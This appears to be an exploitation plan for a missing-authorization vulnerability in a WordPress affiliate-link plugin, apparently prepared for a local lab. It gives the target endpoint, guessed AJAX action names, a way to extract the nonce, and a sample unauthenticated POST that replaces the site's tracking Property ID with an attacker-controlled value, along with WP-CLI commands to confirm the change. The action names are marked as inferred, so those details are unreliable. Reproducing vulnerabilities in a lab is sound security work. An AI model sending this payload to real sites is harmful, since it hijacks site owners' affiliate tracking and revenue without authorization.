AnyTrack Affiliate Link Manager <= 1.5.5 - Missing Authorization

This research plan outlines the steps to exploit CVE-2026-39715, a Missing Authorization vulnerability in the AnyTrack Affiliate Link Manager plugin.

1. Vulnerability Summary

The AnyTrack Affiliate Link Manager plugin (up to version 1.5.5) registers an AJAX handler (or a function on admin_init) intended for saving plugin settings, specifically the AnyTrack Property ID. However, the function fails to implement a capability check (e.g., current_user_can( 'manage_options' )), allowing unauthenticated users to modify plugin settings. This can be used to hijack affiliate tracking by replacing the Property ID with an attacker-controlled one.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: anytrack_update_property_id (inferred) or anytrack_save_settings (inferred).
• HTTP Method: POST
• Authentication: None required (unauthenticated).
• Preconditions: The plugin must be active.

3. Code Flow

1. The plugin registers an AJAX action for unauthenticated users:
   add_action( 'wp_ajax_nopriv_anytrack_update_property_id', 'anytrack_update_property_id_handler' ); (inferred)
2. The handler function anytrack_update_property_id_handler is called.
3. The function retrieves user input from $_POST['property_id'] (inferred).
4. The function calls update_option( 'anytrack_property_id', $property_id ) (inferred) without verifying if the request comes from an administrator.
5. Since no current_user_can() check exists, the setting is updated.

4. Nonce Acquisition Strategy

Missing Authorization vulnerabilities often coincide with missing CSRF protection (nonces). If the function does verify a nonce but fails to check capabilities, the nonce must be obtained:

1. Identify Shortcode: Locate any shortcode used by the plugin (e.g., [anytrack_link] (inferred)).
2. Create Page:
   wp post create --post_type=page --post_status=publish --post_title="AnyTrack Test" --post_content="[anytrack_link]"
3. Navigate and Extract:
   • Navigate to the newly created page.
   • Use browser_eval to search for localized script data:
     browser_eval("window.anytrack_admin_params?.nonce") (inferred) or browser_eval("window.anytrack_vars?.save_nonce") (inferred).
4. Bypass Check: If no nonce check is present in the code, this step is skipped.

5. Exploitation Strategy

The goal is to modify the anytrack_property_id option to an attacker-controlled value (AT-999999).

• Request Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: anytrack_update_property_id (inferred)
  • property_id: AT-999999
  • _ajax_nonce: [EXTRACTED_NONCE] (if required)

Sample Payload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=anytrack_update_property_id&property_id=AT-999999

6. Test Data Setup

1. Install Plugin: Ensure AnyTrack Affiliate Link Manager v1.5.5 is installed and active.
2. Initial State: Set a legitimate Property ID using WP-CLI:
   wp option update anytrack_property_id "AT-123456"
3. Verify Initial State:
   wp option get anytrack_property_id (Should return AT-123456)

7. Expected Results

• Response: The server should return a successful AJAX response (e.g., {"success":true} or 1).
• Side Effect: The WordPress option anytrack_property_id will be updated in the database.
• Impact: All affiliate links tracked by AnyTrack will now use the attacker's Property ID.

8. Verification Steps

After sending the HTTP request, verify the change using WP-CLI:

# Check the value of the property ID option
wp option get anytrack_property_id

Expected Output: AT-999999

9. Alternative Approaches

If the anytrack_update_property_id action is incorrect:

1. Identify correct action: Search the plugin directory for wp_ajax_ hooks:
   grep -rn "wp_ajax_" wp-content/plugins/anytrack-affiliate-link-manager/
2. Identify admin_init handlers: If no wp_ajax_nopriv hooks exist, check for handlers hooked to admin_init that process POST data:
   grep -rn "admin_init" wp-content/plugins/anytrack-affiliate-link-manager/
3. Check for direct Settings API submission: The vulnerability might allow unauthenticated users to submit to options.php if the plugin registered settings incorrectly. Try submitting a POST request to wp-admin/options.php with the plugin's option group.